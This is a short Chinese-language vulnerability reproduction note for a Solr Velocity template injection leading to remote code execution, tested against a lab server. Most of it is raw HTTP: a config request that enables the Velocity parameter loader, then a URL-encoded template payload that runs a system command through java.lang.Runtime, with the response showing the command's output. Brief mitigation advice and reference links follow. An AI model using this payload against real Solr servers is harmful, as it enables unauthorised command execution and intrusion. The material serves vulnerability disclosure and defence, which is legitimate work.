CVE-2019-xxxx: Solr Velocity template injection

简易复现

测试环境可以复用 vulhub 的 CVE-2019-0193

POST /solr/test/config HTTP/1.1
Host: 192.168.32.129:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 263

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

====================================================================================================
HTTP/1.1 200 OK
Connection: close
Content-Type: text/plain;charset=utf-8
Content-Length: 149

{
  "responseHeader":{
    "status":0,
    "QTime":489},
  "WARNING":"This response format is experimental.  It is likely to change in the future."}

=====================================================================================================
GET /solr/test/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.32.129:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

======================================================================================================
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 56

     0  uid=8983(solr) gid=8983(solr) groups=8983(solr)

临时修复方案

长亭科技预警
https://mp.weixin.qq.com/s/lcPMwHzawC86DQlJL5743w

亚信预警
https://mp.weixin.qq.com/s/NUWIDLlugeq5_8ovE-c1_g

将 contrib/velocity/lib 目录下的 velocity 相关的 jar 删除。
当然前提是确保业务不使用 velocity 。

参考资料

https://github.com/veracode-research/solr-injection#7-cve-2019-xxxx-rce-via-velocity-template-by-_s00py

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